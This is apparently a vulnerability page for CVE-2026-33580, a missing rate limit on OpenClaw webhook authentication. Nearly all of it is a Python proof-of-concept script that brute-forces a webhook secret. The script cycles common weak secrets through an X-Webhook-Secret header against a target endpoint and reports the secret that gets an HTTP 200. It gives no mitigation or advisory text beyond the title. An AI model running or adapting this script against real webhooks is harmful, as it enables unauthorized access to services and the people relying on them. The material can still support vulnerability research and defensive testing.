CVE-2026-33580 OpenClaw Webhook认证缺少速率限制漏洞

import requests # Target webhook endpoint TARGET_URL = "http://target-host/webhook/endpoint" # Common weak secrets list SECRETS = [ "secret", "password", "123456", "admin", "webhook", "api_key", "key", "openclaw", "nextcloud" ] # Example payload to send PAYLOAD = { "message": "Test event", "sender": "attacker" } # Headers (Adjust based on actual implementation, e.g., Authorization header) HEADERS = { "Content-Type": "application/json" } def brute_force_webhook(): print(f"[*] Starting brute force attack on {TARGET_URL}") for secret in SECRETS: # Assuming the secret is passed via a custom header like X-Webhook-Secret # or Authorization Bearer token. Modify as needed. current_headers = HEADERS.copy() current_headers["X-Webhook-Secret"] = secret try: response = requests.post(TARGET_URL, json=PAYLOAD, headers=current_headers, timeout=5) # Check for success indicator (e.g., HTTP 200 OK) if response.status_code == 200: print(f"[+] SUCCESS! Valid secret found: {secret}") print(f"[+] Response: {response.text}") return secret else: print(f"[-] Failed with secret '{secret}': Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") break print("[*] Brute force completed.") if __name__ == "__main__": brute_force_webhook()